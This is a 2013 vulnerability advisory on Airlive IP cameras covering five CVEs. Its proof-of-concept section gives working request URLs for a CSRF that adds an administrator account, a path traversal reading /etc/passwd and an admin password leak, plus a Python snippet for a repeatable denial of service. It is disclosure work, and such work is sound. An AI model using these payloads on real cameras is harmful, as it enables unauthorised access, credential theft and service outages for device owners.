Airlive IP Cameras - Multiple Vulnerabilities

===========================================================================

AIRLIVE

====================================================================

===========================================================================



1.Advisory Information

Title: Airlive Multiple Vulnerabilities

Date Published: 12/06/2013

Date of last updated: 12/06/2013



2.Vulnerability Description

Multiple vulnerabilities have been found in this devices:

-CVE-2013-3540. Cross Site Request Forgery(CWE-352) and Clickjacking(CAPEC-103)

-CVE-2013-3541. Relative Path Traversal(CWE-23).

-CVE-2013-3686. Information Exposure(CWE-200) and Permissions, Priveleges and Access Controls(CWE-264)

-CVE-2013-3687. Clear Text Storage of Sensitive Information(CWE-312)

-CVE-2013-3691. Denial of Service



3.Affected Products

CVE-2013-3541, CVE-2013-3686, the following product is affected: WL2600CAM

CVE-2013-3540, CVE-2013-3687, the following products are affected: POE2600HD, POE250HD, POE200HD, OD-325HD, OD-2025HD, OD-2060HD, POE100HD.

It’s possible others models are affected but they were not checked.



4.PoC

4.1.Cross Site Request Forgery (CSRF)

CVE-2013-3540 CSRF via GET method. Targeted attack to any administrator.

These cameras use a web interface which is prone to CSRF vulnerabilities. 

A malicious user can try targeted attacks by sending a special CSRF vector. This allows you to manipulate web interface parameters.

In the following example we will make a vector to create an alternative user with administration credentials.

_____________________________________________________________________________

http://xx.xx.xx.xx/cgi-bin/admin/usrgrp.cgi?user=test1&pwd=test1&grp=administrator&sgrp=ptz&action=add&redirect= 

_____________________________________________________________________________



4.2.Relative Path Traversal

CVE-2013-3541, Transversal Path that’s allow you to read file system configuration.

_____________________________________________________________________________

http://xx.xx.xx.xx/cgi-bin/admin/fileread?READ.filePath=../../../../etc/passwd

_____________________________________________________________________________



4.3.Sensitive Information Exposure + Privilege Escalation

CVE-2013-3686, Sensitive Exposure of sensitive data by writing the following URL

_____________________________________________________________________________

http://xx.xx.xx.xx/cgi-bin/operator/param?action=list&group=General.UserID

_____________________________________________________________________________

We can decode Admin password (base64). 

Now we can relogin like admin user and we have made the escalation privilege



4.4.Clear Text Storage of Sensitive Information

CVE-2013-3687 You can find all the sensitive information about the device in plain text inside the backup file. 

You can open with any text editor and look for user's information for example, passwords, users and so on.



4.5.Denial of Service (DoS)

Use CVE-2013-3691, DoS by overbuffing path ‘/’. A request with a large number of ‘a’ can take down the http service from the camera device.

_____________________________________________________________________________

Request: http://xx.xx.xx.xx/[a*3000]

_____________________________________________________________________________

You will get the next message, Conexion has been reset. After remove de adds and refresh it you will get the next message, Can't Connect



It will be down for around 2min but if we are doing the request once and again each 1min for example, the camera won’t recuperate ever itself



The following Python script could be used to test the DoS:

_____________________________________________________________________________

    @    request = 'GET /' + ‘A’ * 3000 + '.html HTTP/1.0\r\n'

    @    s = socket.socket()

    @    s.connect((cam_ip, 80))

    @    s.send(request)

    @    response = s.recv(1024)

    @    s.close()

_____________________________________________________________________________



5.Credits



-CVE-2013-3541 was discovered by Eliezer Varadé Lopez, Javier Repiso Sánchez and Jonás Ropero Castillo.

-CVE-2013-3691 was discovered by Javier Repiso Sánchez and Jonás Ropero Castillo

-CVE-2013-3540, CVE-2013-3686, CVE-2013-3687 was discovered by Jonás Ropero Castillo.



6.Report Timeline

-2013-05-31: Students team notifies the Airlive Customer Support of the vulnerabilities. No reply received.

-2013-06-03: Students asks for a reply.

-2013-06-05: Airlive team reports to the technical support to analyze the vulnerabilities.